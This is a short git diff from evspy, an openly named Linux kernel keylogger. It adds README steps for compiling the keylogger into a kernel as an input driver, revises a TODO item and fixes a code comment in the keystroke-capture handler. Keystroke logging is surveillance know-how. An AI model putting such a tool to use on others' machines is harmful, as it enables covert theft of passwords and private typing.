diff options
-rw-r--r-- | README | 8 | ||||
-rw-r--r-- | TODO | 2 | ||||
-rw-r--r-- | evspy.c | 2 |
3 files changed, 10 insertions, 2 deletions
@@ -45,3 +45,11 @@ Once it has been installed, you can load it when you want with # modprobe evspy + +** OTHER ** + +A patch is supplied (evspy.patch) to be able to compile a kernel with evspy +included; just cd to your Linux source tree, copy all the evspy files (*.c *.h) +to drivers/input/, and apply the patch. Then you should be able to configure the +kernel to include evspy just like any other module: + Device Drivers --> Input device support --> Event based keylogger @@ -1,4 +1,4 @@ * Fix backspace key (do not erase special key events) - Prio:Medium * Implement 2nd mapping (shift) - Prio:Medium -* Take a look at kernel's circular list API - Prio:Low +* Take a look at kernel's circular buffer API - Prio:Low * Which FX key has been pressed? - Prio:None @@ -185,7 +185,7 @@ static void evspy_event(struct input_handle *handle, unsigned int type, return; } - // Special/unknown keys (alt, ctrl, esc, mayus, etc) + // Special/unknown keys (alt, ctrl, esc, shift, etc) if (map[code] == '.' && likely(code != KEY_DOT)) special_char(code, value); |